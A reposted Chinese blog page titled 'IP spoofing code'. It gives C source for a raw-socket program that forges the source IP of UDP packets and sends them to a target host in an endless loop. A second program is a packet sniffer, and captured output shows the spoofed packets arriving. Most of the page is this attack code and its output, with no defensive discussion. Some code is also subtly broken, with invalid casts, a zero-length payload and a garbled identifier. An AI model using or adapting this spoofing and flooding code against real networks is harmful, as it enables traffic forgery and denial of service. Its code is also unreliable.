IP欺骗代码

来源:互联网 发布:阿里巴巴数据库多大 编辑:程序博客网 时间:2024/05/22 15:44


 转于:http://blog.csdn.net/nuptjinlu/article/details/7252344


 第一步,编写IP欺骗代码

 

[cpp] view plaincopy
  1. #include <sys/socket.h>  
  2. #include <netinet/ip.h>  
  3. #include <netinet/udp.h>  
  4. #include <netinet/in.h>  
  5. #include <arpa/inet.h>  
  6. #include <unistd.h>  
  7.   
  8. #include <stdlib.h>  
  9. #include <string.h>  
  10. #include <stdio.h>  
  11. #include <sys/types.h>  
  12. #include <errno.h>  
  13. #define IP_HEAD_LEN 20  
  14. void  
  15. udp_write(char *buf, int userlen);  
  16. int rawfd;  
  17. int main()  
  18. {  
  19.       
  20.     if((rawfd=socket(AF_INET, SOCK_RAW,IPPROTO_UDP))<0)   
  21.     {  
  22.         perror("socket error");  
  23.         exit(1);  
  24.         }  
  25.     int on=1;  
  26.     setsockopt(rawfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));  
  27.     size_t nbytes;  
  28.     char *buf, *ptr;  
  29.     buf=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+100);  
  30.     ptr=buf+sizeof(struct iphdr)+sizeof(struct udphdr);//定位到数据发送区  
  31.     //ptr="sent ip packet by jinlu";  
  32.     nbytes=(ptr-buf)-(sizeof(struct iphdr)+sizeof(struct udphdr));  
  33.     while(1)  
  34.     {  
  35.     udp_write(buf,nbytes);  
  36.       
  37.     }  
  38.     return 0;  
  39. }  
  40. struct ipvolg{  
  41.     u_char  ih_x1 [9];  //9 bit  
  42.     u_char  ih_pr;      //1 bit  
  43.     u_short     ih_len;  //2 bytes  
  44.     struct in_addr  ih_src; //4 bytes;  
  45.     struct in_addr  ih_dst; //4 bytes;  
  46. };  
  47. struct udpiphdr{  
  48.     struct ipvolg ui_i;  
  49.     struct udphdr ui_u;  
  50. };  
  51.   
  52. #define ui_x1           ui_i.ih_x1  
  53. #define ui_pr           ui_i.ih_pr  
  54. #define ui_sum          ui_i.ih_len  
  55. #define ui_src          ui_i.ih_src  
  56. #define ui_dst          ui_i.ih_dst  
  57. #define ui_sport        ui_u.source  
  58. #define ui_dport        ui_u.dest  
  59. #define ui_ulen         ui_u.len  
  60. void  
  61. udp_write(char *buf, int userlen)  
  62. {  
  63.     struct sockaddr_in  dest, local;  
  64.     memset(&dest,0,sizeof(dest));  
  65.     memset(&local,0,sizeof(local));  
  66.     dest.sin_family=AF_INET;  
  67.     dest.sin_port=htons(88);  
  68.     inet_pton(AF_INET,"10.10.104.137",&dest.sin_addr);  
  69.     local.sin_family=AF_INET;  
  70.     local.sin_port=htons(80);  
  71.     inet_pton(AF_INET,"10.10.104.2",&local.sin_addr);  
  72.     struct udpiphdr     *ui;  
  73.     struct ip           *ip;  
  74.   
  75.         /* 4fill in and checksum UDP header */  
  76.     ip = (struct ip *) buf;  
  77.     ui = (struct udpiphdr *) buf;  
  78.     bzero(ui, sizeof(*ui));  
  79.             /* 8add 8 to userlen for pseudoheader length */  
  80.     ui->ui_ulen  = htons((uint16_t) (sizeof(struct udphdr) + userlen));  
  81.             /* 8then add 28 for IP datagram length */  
  82.     userlen += sizeof(struct udpiphdr);  
  83.   
  84.     ui->ui_pr = IPPROTO_UDP;  
  85.     ui->ui_src.s_addr = ((struct sockaddr_in ) local).sin_addr.s_addr;  
  86.     ui->ui_dst.s_addr = ((struct sockaddr_in ) dest).sin_addr.s_addr;  
  87.     ui->ui_sport = ((struct sockaddr_in ) local).sin_port;  
  88.     ui->ui_dport = ((struct sockaddr_in ) dest).sin_port;  
  89.     //ui->ui_ulen = ui->ui_len;  
  90.       
  91.   
  92.         /* 4fill in rest of IP header; */  
  93.         /* 4ip_output() calcuates & stores IP header checksum */  
  94.     ip->ip_v = IPVERSION;  
  95.     ip->ip_hl = sizeof(struct ip) >> 2;  
  96.     ip->ip_tos = 0;  
  97.   
  98.     ip->ip_len = htons(userlen); /* network byte order */  
  99.   
  100.   
  101.     ip->ip_id = 0;           /* let IP set this */  
  102.     ip->ip_off = 0;          /* frag offset, MF and DF flags */  
  103.     ip->ip_ttl = 64;  
  104. int flag;  
  105. int size=sizeof(dest);  
  106.      if((flag=sendto(rawfd, buf, userlen, 0, (struct sockaddr*)&dest, size))<0)  
  107.       {  
  108.         perror("sendto error");  
  109.         exit(1);  
  110.     }  
  111. }  
  112. /* end udp_write */  


 

第二步:编写抓包代码

[cpp] view plaincopy
  1. #include <stdio.h>  
  2. #include <string.h>  
  3. #include <errno.h>    
  4. #include <unistd.h>  
  5. #include <sys/socket.h>  
  6. #include <sys/types.h>    
  7. #include <linux/in.h>  
  8. #include <linux/if_ether.h>  
  9. #include <net/if.h>  
  10. #include <sys/ioctl.h>  
  11.   
  12. int main(int argc, char **argv) {  
  13.   int sock, n;  
  14.   char buffer[2048];  
  15.   unsigned char *iphead, *ethhead;  
  16.   struct ifreq ethreq;  
  17.     
  18.   if ( (sock=socket(PF_PACKET, SOCK_RAW,   
  19.                     htons(ETH_P_IP)))<0) {  
  20.     perror("socket");  
  21.     exit(1);  
  22.   }  
  23.   
  24.   /* Set the network card in promiscuos mode  
  25.   strncpy(ethreq.ifr_name,"eth1",IFNAMSIZ); 
  26.   if (ioctl(sock,SIOCGIFFLAGS,ðreq)==-1) { 
  27.     perror("ioctl"); 
  28.     close(sock); 
  29.     exit(1); 
  30.   } 
  31.   ethreq.ifr_flags|=IFF_PROMISC; 
  32.   if (ioctl(sock,SIOCSIFFLAGS,ðreq)==-1) { 
  33.     perror("ioctl"); 
  34.     close(sock); 
  35.     exit(1); 
  36.   }*/  
  37.     
  38.   while (1) {  
  39.     printf("----------\n");  
  40.     n = recvfrom(sock,buffer,2048,0,NULL,NULL);  
  41.     printf("%d bytes read\n",n);  
  42.   
  43.     /* Check to see if the packet contains at least  
  44.      * complete Ethernet (14), IP (20) and TCP/UDP  
  45.      * (8) headers. 
  46.      */  
  47.     if (n<42) {  
  48.       perror("recvfrom():");  
  49.       printf("Incomplete packet (errno is %d)\n",  
  50.              errno);  
  51.       close(sock);  
  52.       exit(0);  
  53.     }  
  54.   
  55.     ethhead = buffer;  
  56.     printf("Source MAC address: "  
  57.            "%02x:%02x:%02x:%02x:%02x:%02x\n",  
  58.            ethhead[0],ethhead[1],ethhead[2],  
  59.            ethhead[3],ethhead[4],ethhead[5]);  
  60.     printf("Destination MAC address: "  
  61.            "%02x:%02x:%02x:%02x:%02x:%02x\n",  
  62.            ethhead[6],ethhead[7],ethhead[8],  
  63.            ethhead[9],ethhead[10],ethhead[11]);  
  64.   
  65.     iphead = buffer+14; /* Skip Ethernet header */  
  66.     if (*iphead==0x45) { /* Double check for IPv4 
  67.                           * and no options present */  
  68.       printf("Source host %d.%d.%d.%d\n",  
  69.              iphead[12],iphead[13],  
  70.              iphead[14],iphead[15]);  
  71.       printf("Dest host %d.%d.%d.%d\n",  
  72.              iphead[16],iphead[17],  
  73.              iphead[18],iphead[19]);  
  74.       printf("Source,Dest ports %d,%d\n",  
  75.              (iphead[20]<<8)+iphead[21],  
  76.              (iphead[22]<<8)+iphead[23]);  
  77.       printf("Layer-4 protocol %d\n",iphead[9]);  
  78.     }  
  79.   }  
  80.     
  81. }  


 

第三步:抓包----------42 bytes readSource MAC address: 00:00:00:00:00:00Destination MAC address: 00:00:00:00:00:00Source host 10.10.104.2Dest host 10.10.104.137Source,Dest ports 80,88Layer-4 protocol 17----------42 bytes readSource MAC address: 00:00:00:00:00:00Destination MAC address: 00:00:00:00:00:00Source host 10.10.104.2Dest host 10.10.104.137Source,Dest ports 80,88Layer-4 protocol 17----------

 先转过来。等下研究。哈哈。

原创粉丝点击